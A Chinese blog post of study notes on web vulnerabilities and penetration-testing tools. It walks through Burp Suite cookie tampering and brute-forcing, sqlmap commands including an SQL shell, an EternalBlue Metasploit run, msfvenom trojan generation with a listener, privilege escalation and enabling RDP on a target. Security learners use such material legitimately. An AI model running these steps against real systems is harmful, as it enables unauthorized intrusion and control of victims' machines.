web安全漏洞

Web安全漏洞
指的是Web应用或网站存在的一些设计或编码上的缺陷,攻击者可以利用他们来破坏Web应用或网站的正常功能,或者获取非法的访问权限或敏感信息,常见的Web漏洞如下:

SQL漏洞:指Web应用或网站在处理用户输入时没有正确地过滤和转义特殊字符,导致用户输入被当作SQL语句的一部分执行,从而使操作数据库中的数据或执行其他命令

HTML漏洞:指Web应用或网站在处理用户输入时没有正确地言获赠、编码HTML标签和JavaScript代码,导致用户可以通过修改URL参数或其他方式,将恶意的HTML标签和JavaScript代码注入目标页面,从而修改页面内容或进行其他攻击

远程命令执行:指Web应用或网站在处理用户输入时没有正确地验证、编码可执行系统命令的函数,导致用户可以通过操作URL参数或其他方式,将恶意的命令或代码注入目标服务器或网站的操作系统,从而获取敏感信息或执行其他攻击

XSS漏洞:指Web应用或网站在处理用户输入时没有正确的过滤、转义HTML标签和JavaScript代码,导致勇敢通过输入恶意的HTML标签和JavaScript代码来影响其他用户浏览器上的页面显示或行为,从而窃取用户信息或进行其他攻击

重定向漏洞:指Web应用或网站在处理用户输入时没有正确过滤和验证跳转到外部站点的链接,导致用户可以通过恶意输入的链接来诱导其他用户跳转到不可信的网站,从而进行钓鱼攻击、恶意软件传播、诱骗等

文件包含漏洞:指Web应用或程序在处理用户输入时没有正确地过滤和限制文名,,导致用户可以通过输入任意文件路径来包含执行本地或远程的文件,从而获取敏感信息或执行恶意代码

任意文件读取:指Web应用或网站在处理用户输入时没有正确地编码和转义读取文件的路径,导致用户可以通过修改URL参数或其他方式,将恶意的路径注入目标网站,从而读取应用之外的任意文件,如密码、私钥、证书等敏感文件

任意文件上传:指Web应用或网站在处理用户上传的文件时没有正确地过滤和限制文件类型、大小、内容等,导致用户可以上传任意类型或内容的文件到目标服务器,从而获取敏感信息或执行恶意代码

SSRF漏洞:指Web应用或网站在处理用户输入时没有正确地过滤和验证请求的目的地址,导致用户可以通过构造恶意的地址让服务端发起到外部站点或内部系统的请求,从而进行端口扫描、信息收集、远程命令执行等攻击

Burp Suite的使用
burp suite是一款集成了多种功能的Web应用渗透测试工具,可以帮助测试人员对Web应用进行拦截、分析、修改、重放、扫描、爆破、模糊测试等操作,从而发现和利用Web应用种的漏洞

基础用法

Dashboard标签:显示burp suite的仪表盘,可以通过它进行漏洞扫描,但是该功能仅限付费版使用

左侧上方为正在执行的扫描任务

左侧下方为事件日志

右侧上方为扫描的漏洞

单击单个漏洞会在右侧下方的advisory(咨询、报告)区域显示漏洞的介绍

切换到request区域可以看到具体的请求内容,通过请求内容可以很轻松地复现检测到的漏洞

Target标签:攻击目标选线。

默认显示的site map标签为对目标站点的爬虫信息,会显示所有爬取到的URL地址

scope标签可以设置扫描的范围

issue definitions标签可以查看漏洞列表以及漏洞详情

Proxy标签:

HTTP history标签:查看所有通过代理的记录

intercept标签:拦截信息

WebSockets history标签:查看关于Socket连接的记录

proxy settings标签:进行代理设置

intercept client request/responses区域:可以设置拦截HTTP请求和响应的规则

websocket interception rules:用于设置是否拦截客户端到服务端到客户端的WebSocket消息

response modification rules:用于自动修改响应,根据不同的条件来修改响应的内容

match and replace rules:用于设置匹配和替换代理种的部分请求与响应,可以分别为请求、响应、消息头、正文创建规则

TLS pass through:用于指定burp suite直接通过TLS连接的目标服务器

miscellaneous:杂项设置,用于设定抓包的一些特定方法

Decoder标签:可以对字符串进行常见的加解密设置

Comparer标签:可以对不同请求做对比。在暴力破解密码时,会经常使用到该标签

Extensions标签:

BApp Store标签:可选择添加与burp suite相关的插件

settings标签:可以自不用区域中设置不同编码语言编写的扩展插件环境

Intruder标签:是一个定制的高度可配置工具,对Web应用程序进行自动化攻击和对应用程序进行大规模的攻击测试

Payloads:用户可以定义不同类型的payload,例如字典、数字范围、定制字符集等,这些payload可以被插入到请求的特定位置,测试目标的弱点

Positions:指在攻击种用户注入payload的特定位置或字段,这些位置可以是HTTP请求中的参数、标头、cookie或正文中的特定部分

Attack type:提供了不同的攻击类型,例如:sniper、battering ram、cluster bomb、pitchfork等

sniper(狙击手):是指逐个处理payload列表中的每个payload,每个payload都会单独被插入到标记位置,诸葛测试,适用于针对单个位置进行深入测试的场景

battering ram(破城锤):只能有一个payload,是sniper的升级版,能同时在多个变量中进行插入测试

pitchfork(叉子):允许设置多个payload,指同时处理两个位置,每个位置有各自的payload列表,他会按照不同的组合,将第一个和第二个payload进行配对。适合测试需要两个或多个位置同时受到影响的场景

cluster bomb(集束炸弹):允许设置多个payload,通过组合payload列表,生成了更多的组合,这样可以更全面、更彻底地测试目标程序,寻找潜在漏洞。与pitchfork一样,可以同时测试多个payload,不同的是它的测试方式是使用笛卡尔积。

位置标记变量:

Add:允许你添加要测试的目标

Clear:用于清楚当前配置的多有设置

Auto:自动化选项,可以让burp suite在攻击时自动处理某些条件,如在遇到特定的响应内容或状态码时停止攻击,或者在攻击结束后自动保存结果

Refresh:用于刷新界面或数据,确保显示的内容是最新的状态

Resource Pool(资源池):

连接池大小:控制burp suite与目标应用程序之间建立的并发连接数量。较大的连接池能允许同时处理更多的连接

线程池设置:用于控制burp suite执行任务所使用的线程数量,可以影响工具执行、代理、爆破等任务时的并发处理能力

Repeater标签:一个HTTP法宝模块,通常使用它俩重放经过proxy的请求,可以更加方便地修改包内容以及进行测试。比如修改请求参数,验证输入的漏洞,验证逻辑越权,从拦截历史记录中捕捉特征性的请求消息进行请求重放

raw:显示纯文本格式的消息

pretty(美化):默认选项,基于原始的响应消息而略微美化其格式内容

hex(十六进制):以字节格式呈现原始的响应数据,允许你直接编辑由原始二进制数据组成的消息

render(渲染):将响应消息渲染成一个可视化页面

Sequencer标签:是一款用于检测数据样本随机性质量的工具,通常用于检测访问令牌是否可预测、密码重置令牌是否可预测等场景

Live capture信息截取:

select capture request(选择实时捕获请求):从其他工具发送请求来配置一个现场捕捉选择请求使用配置下面的其他选项,然后单击“开始现场捕捉”

token location within response(令牌在响应内的位置):选择响应中令牌显示的位置

Manual load手动加载:允许使用已获取的标记样本加载定序器,然后对样本执行统计分析

burp suite在实战中的应用
身份验证绕过:是指web应用或网站在验证用户身份或授权用户访问资源时存在的逻辑缺陷或配置错误,导致用户可以通过构造特殊的请求或参数来绕过正常的身份验证流程,从而实现未经授权的访问或操作

首先普通用户登录网站。只有管理员才能查看的页面

开启burp suite拦截功能,拦截下请求包的内容:cookie字段admin字段为false,将其修改为ture状态

然后点击Forward按钮,将修改后的请求包转发到拼接后的地址,在浏览器中就可以显示修改后的结果

暴力破解:在对网站登录页面进行暴力破解之前,最好先收集搜索目标相关的信息,然后将其生成密码字典文件,这样可以大幅提升暴力破解的成功概率

在登录界面输入用户名和随意密码,尝试登录,确定用户名之后就可以进行暴力破解

在burp suite中进行拦截,显示登录请求包,将请求包send to intruder选项,然后再target标签中设置要暴力破解的网站地址和端口号

再positions标签中使用分节符或双s号,标记括起来的就是要暴力破解的字段

选择攻击类型,点击Start attack按钮即可进行暴力破解,通过字节长度和状态码判断结果

SQL注入
指web应用或网站在处理用户输入时没有正确地过滤和转义特殊字符,导致用户输入被当作SQL语句的一部分执行,从而操作数据库中的数据或执行其他命令

sqlmap工具:一款专业的SQL注入工具,能够字自动发现和利用web应用中的数据库漏洞,可支持多种数据库系统、SQL注入方式、攻击载荷和攻击目标,并具有多种高级选项,是一款功能强大而使用灵活的渗透测试工具

基本功能:是对web应用中的数据进行自动化的检测、利用和攻击

命令    定义
-dbs    所有数据库
-users    所有数据用户
-s    保存和回复检索会话文件的所有数据
-eta    显示每个输出的预计到达时间
-save file    保存选项到ini配置文件中
-batch    从不询问用户输入,使用多有默认配置
-d    直接连接到数据库
-u    目标URL
-r    从一个文件中载入HTTP请求
-c    从ini配置文件中加载选项
-data=DATA    通过POST发送的数据字符串
-cookie=COOKIE    http cookie头
-b    检索数据库管理系统标识
-is-dba    检测DBMS当前用户是否是DBA
-sql-shell    提交交互式的SQL的shell
-o    开启所有优化开关
-f    执行检查广泛的DBMS版本指纹
具体语句:

检测链接地址是否包含有SQL注入漏洞

sqlmap -u 链接地址
使用sqlmap时需要手动确认一些功能,可以设置默认方式启用

sqlmap -u 链接地址 --batch
查看当前连接数据库的用户和数据库名

sqlmap -u “URL地址” --current-user --current-db --batch
判断用户当前的权限是否为DBA权限

sqlmap-u “URL地址” --is-dba --batch
列出当前数据库用户的权限

sqlmap -u “URL地址” --privileges --batch
sqlmap在数据库中执行指定的查询语句

sqlmap -u “URL地址” --sql-query=“查询语句” --batch
通过交互式shell执行数据库查询

sqlmap -u “URL地址” --sql-shell --batch 
post请求类型的SQL注入

sqlmap -u “URL地址” --data=“POST的内容” --batch
通过cookie检测登陆后的可SQL注入的页面

sqlmap -u “URL地址” --cookie=“cookie值” --batch
指定仅报错注入进行检测

sqlmap -u “URL地址” --technique=E --batch
E:报错注入
B:布尔盲注
U:联合注入
S:堆叠查询
T:时间盲注
Q:内联查询
使用脚本对请求进行篡改

sqlmap -u “URL地址” --batch --temper脚本名
JSQL Injection的使用:JSQL Injiection时一款基于java的轻量级SQL注入检测应用,可以支持多种数据库管理系统,不仅可以检测和利用SQL注入漏洞,还可以执行数据库指纹识别,枚举、数据库提权、目标文件系统访问等操作,并在获取数据权限后可执行任意命令

安装:在Kali Linux终端输入apt install jsql-injection,将其安装。

启动:图形界面,可在终端中输入jsql,或者单击Kali左上角的logo,点击“数据库评估”即可

扫描:在图形界面输入URL地址,开始后即扫描,并可利用目标网站的SQL漏洞,成功后则会在侧边栏中显示相应的数据库名和表数

查看:勾选要查看的列别,右击,选择"加载"选项

XSS漏洞
XSS(cross-site scripting。跨站脚本,简称CSS,为了与CSS,层叠样式表的缩写分开,改名XSS),指的是利用网页开发时留下的漏洞,通过巧妙地方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造地网页程序。攻击者会向web页面,如input表单、URL、留言板等位置插入恶意代码,导致管理员/用户访问时触发

原理:服务器对用户提交地数据过滤不严格,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的

反射型(非持久型)

攻击者相对于受害者而言是一次性的,具体表现在受害者点击了含有恶意JavaScript脚本的URL,恶意代码并没有保存在目标网站,而是web应用程序只是不加处理的把该恶意脚本“反射”回受盖着的浏览器而使受害者的浏览器执行相应的脚本

存储型(持久型)

是指应用程序通过web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据,当下一次数据库中获取改数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户

DOM型(非持久型)

是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,它不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题

XSS攻击的防御:

预防DOM型XSS攻击:

在使用 .innerHTML 、.outerHTML、.document.write()时要特别小心,不要把不可信的数据作为HTML插到页面上,而应尽量使用 .textContet、 .seetAttribute() 等

DOM中的内联事件监听器,如:loacation、onclick、onerror、onload、onmouseover 等,标签的 href 属性,JavaScript的eval()、setTimeout()、setInterval()等都能把字符串作为代码运行,如果不可信的数据拼接到字符串中传递这些API,很容易产生安全隐患

输入过滤:如果由前端过滤输入,然后提交给后端,一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码

前端渲染把代码和数据分隔开:在前端渲染中,明确告知浏览器,下面要设置的内容是文本,还是属性,还是样式等,浏览器不会轻易被欺骗,执行预期外的代码

拼接HTML时对其进行转义:如果拼接HTML是必要的,就需要采用合适的转义库,对HTML模板各处插入点进行充分的转义

XSSer
是一款自动化的XSS漏洞检测和利用工具,可以在Web应用中发现、利用、报告XSS漏洞,包含了多种选项,可以尝试绕过某些过滤器,并使用各种特殊技术进行代码注入,它通过自动化的工作流程帮助安全人员识别潜在的安全风险,并提供详细的报告,以增强网站的安全性

命令    定义
-g    GETdata输入一个负荷来进行审计,使用GET参数
-p    POSTdata输入一个负荷来进行审计,使用POST参数
-c    目标URL的爬行数目(1~99999)
--Cw=    爬行深度
--payload=    插入你手动构造的XSS语句
-u    键入目标URL进行分析
-i    从一个文件中读取URL
-d    利用搜索引擎傻瓜式搜索URL
--Cl    本地目标URL爬行
安装:在Kali Linux终端中输入命令

apt install xsser
通过GET请求类型检测URL地址所指向的网站中是否含有XSS漏洞

xsser -u “URL地址” -g “路径和参数”
自动检测URL指定的地址是否存在XSS漏洞

xsser -u “URL地址” -c “爬虫深度” --Cl “URL地址”
XSStrike
XSStrike是一个用于检测XSS漏洞的工具,可以检测反射型、DOM型XSS漏洞,集成了模糊匹配、多线程爬取、WAF绕过、Payload生成、XSS盲注以及通过字典文件枚举等功能。它不像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析相应,然后通过模糊引擎集成的上下文分析来保证有效负载

命令    定义
-u    指定要测试的目标URL
--data    用于POST请求,指定提交的数据
-e    编码荷载以绕过WAF或其他过滤器
--fuzzer    启用模糊测试模式以在请求中注入随机负载
--proxy    使用代理服务器发送请求
--path    在路径中注入负载
-f    从文件中加载测试负载列表
-l    设置爬取级别,0~5
--skip    跳过询问用户是否要继续查询
--skip-dom    跳过DOM检查
--blind    在爬取过程中注入盲XSS负载
安装XSStrike:在Kali Linux终端

pip3 install xsstrike
扫描指定的URL地址是否存在XSS漏洞

xsstrike -u “URL地址” 
检测POST类型的请求

xsstrike -u “URL地址” --data “POST值”
XSStrike可自动检测目标的WAF,还会自动识别网站中的参数。在检测到的payload下会显示efficiency、confidence,如果发现哪个payload可以成功利用,则会询问是否继续扫描。在浏览器访问URL地址时,将网站中的参数替换为扫描时输出的payload进行验证,可以看到URL地址存在的XSS漏洞

BeFF
BeFF(The Browser Exploitation Framework)是一款专门用来攻击浏览器的框架,它可以利用浏览器中的XSS漏洞,将受害者的浏览器作为跳板,执行各种命令和攻击。它可以绕过防火墙和客户端系统的防护,直接针对浏览器的漏洞进行利用

文件包含漏洞
它是一种代码注入漏洞,利用了网站对用户输入的内容过滤不充分这一缺点,从而在服务端执行用户指定的本地或远程文件,主要发生在使用了文件包含函数的地方。在使用函数去包含任意文件时,当包含的文件来源过滤不严谨的时候,当存在恶意文件后,就可以通过这个恶意文件来达到相应的目的

本地文件包含(LFI)漏洞是指能够打开并包含本地文件的漏洞。可以用来读取或执行本地文件,从而获取敏感信息或者反弹shell

远程文件包含(RFI)漏洞是指能够打开并包含远程文件的漏洞。可以用来执行远程服务器上的恶意代码,从而控制目标主机,远程文件包含漏洞需要满足一些条件才能触发

Uniscan
Uniscan是一款简单的本地文件包含漏洞、远程文件包含漏洞和远程命令执行漏洞扫描器,它可以对目标网站进行静态和动态扫描,发现潜在的漏洞和敏感信息

命令    定义
-u    需要扫描的目标URL
-f    URL列表
-b    调到后台运行
-q    启用目录检查
-w    启用文件检查
-d/s    启用动态/静态检查
-g    web指纹
-j    服务器指纹信息,会调用多种进行扫描,如:ping、nmap等
-e    启用robots.txt 和sitemap.xml检查
安装:在Kali Linux终端输入

apt install uniscan
直接扫描域名:会得到域名的IP地址和服务器地址,并且会将结果保存下来

uniscan -u 域名
带上参数-j会调用多种工具

uniscan -u 域名 -j
主要特点:

自动化:可自动扫描目标内核源代码树

高效:在执行扫描过程中,Uniscan使用缓存机制优化性能,从而减少不必要的重复工作

可扩展:通过插件系统支持添加新的漏洞数据库和扫描规则,以适应不断发展的威胁

易于使用:提供简单的命令行界面

跨平台:支持在各种主流的Linux发行版本上运行

Metasploit渗透测试框架
它是一个开源的渗透测试框架,是世界上使用最广泛的渗透测试工具,可以帮助安全团队发现和利用系统漏洞、管理安全评估、提高安全意识等,metasploit是由模块组成的:

Auxiliary:辅助模块,负责扫描存活、指纹识别、爬取、目录扫描等

Encoders:编码模块,负责对payload进行编译,以达到绕过杀毒软件、防火墙、IDS等设备的目的

Evasion:规避模块,用来绕过某些杀毒软件的检测

Exploits:漏洞利用模块,利用系统漏洞、Web漏洞对目标发起攻击

Nops:空指令,在攻击时促使目标主机缓冲区溢出

payloads:攻击载荷,目标被渗透测试成功后运行的模块

Post:后渗透模块,主要用于取得目标系统权限后进行的后渗透攻击,如提权、持久化、内网渗透等

使用方法

命令    定义
msfconsole    进入框架的终端模式
search 关键词    使用search命令查找相关漏洞
use    使用use进入模块
info    查看模块信息
set payload    设置攻击载荷
show options    查看模块需要配置的参数
set    设置参数
exploit / run    攻击
永恒之蓝攻击:

查看漏洞相关模块

msfconsole #进入msf渗透框架中
search ms17_010 #搜索“永恒之蓝”漏洞的模块
利用该模块

use 模块信息
配置模块信息

show options #查看这个模块需要配置的信息,在required显示为yes的项目进行配置
set RHOST 目的IP地址 #设置目的主机IP地址
set RPORT 目的端口 #设置目的主机端口
开始攻击

exploit/run 
生成木马:

显示支持的系统

msfvenom -l payload | grep 系统名称
查找使用的编码方式

msfvenom -l encoders
生成指定系统的木马

msfvenom -p 使用的payload -e 使用的编码 -i 编码次数 LHOST=本地IP地址 LPORT=本地端口 -f 保存的文件格式 > 保存的路径
将木马发送给目标系统并诱使其打开,并在终端开启监听模块

use exploit/multi/handler
修改payload为生成木马时的payload,以监听该模块产生的会话请求

set payload 系统名称
查看配置,并且配置设置,当required列为yes值的配置时必须设置的

show options
开启监听

exploit -j /run
当目标主机收到木马文件时,即可在Meterpreter的终端会话中查看监听到的会话

提权

getuid #查看当前的用户权限
getsystem #如果不是最高权限,可以用此来提升权限
开启目标远程桌面服务

先将metapreter放会话置到后台,然后创建远程桌面的用户名和密码,并设置

background #将会话放置后台
use post/windows/manage/enable_rdp 
set password 密码
set username 用户名
set seesion 值 #设置为放置在后台的meterpreter会话
exploit #运行该模块
重新打开一个终端,并执行redsktop命令尝试连接,但无法连接

ps/netstat #查看主机端口开放状态,3389端口没有开放
获取目标系统的交互式shell,开启目标系统的远程桌面服务

REG ADD HKLM\SYSTEM\CurentControlSet\Control\Terminal" "Server/v fDenyTSConnections /t REG_DWORD /d 00000000 -f
回到哦meterpreter会话,查看3389端口的开放情况,另外打开一个终端进行登录

redsktop 目标主机IP地址
端口转发:添加一条转发规则,将目标IP地址的流量转发到本机端口

portfwd add -l 本地端口 -r 目标主机IP地址 -p 远程主机的端口
扫描并利用目标主机漏洞:尽管metasploit不具备漏洞扫描能力,但可以使用第三方插件来执行漏洞扫描

使用nmap扫描目的主机的所有端口并保存,使用metasploit进行查看

nmap 目标IP地址 -A -O -P 1-65535 -oX nmap.xml
db_import/root/nmap/xml #在终端上将该文件导入数据库
hosts #可以查看导入的主机
notes #可以查看导入的主机上运行的服务、端口等信息
servers #可以查看导入主机上运行的各个服务

Web渗透测试是指对Web应用程序进行安全性评估和攻击模拟的过程。其目的是发现Web应用程序中存在的漏洞和弱点,以便提供相应的修复建议和防御措施。

Web渗透测试通常包括以下步骤:

1.信息收集:收集与目标Web应用程序相关的信息,如域名、IP地址、子域名、服务器类型等。

2.漏洞扫描:使用自动化工具扫描目标Web应用程序,寻找常见的漏洞,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等。

3.漏洞验证:对扫描结果中发现的漏洞进行手工验证,确保其真实存在,并找出可利用漏洞的方法。

4.漏洞利用:利用验证通过的漏洞进行攻击模拟,获取目标系统的敏感信息或控制目标系统。

5.报告编写:撰写详细的渗透测试报告,包括发现的漏洞、攻击路径、修复建议等。

除了上述步骤外,渗透测试还需要使用各种工具和技术,如代理工具、脚本编写、社会工程学等,以确保对Web应用程序的全面评估和攻击模拟。

需要注意的是,进行Web渗透测试需获得目标系统所有者的合法授权,以避免违法行为。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

依然范小勤

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值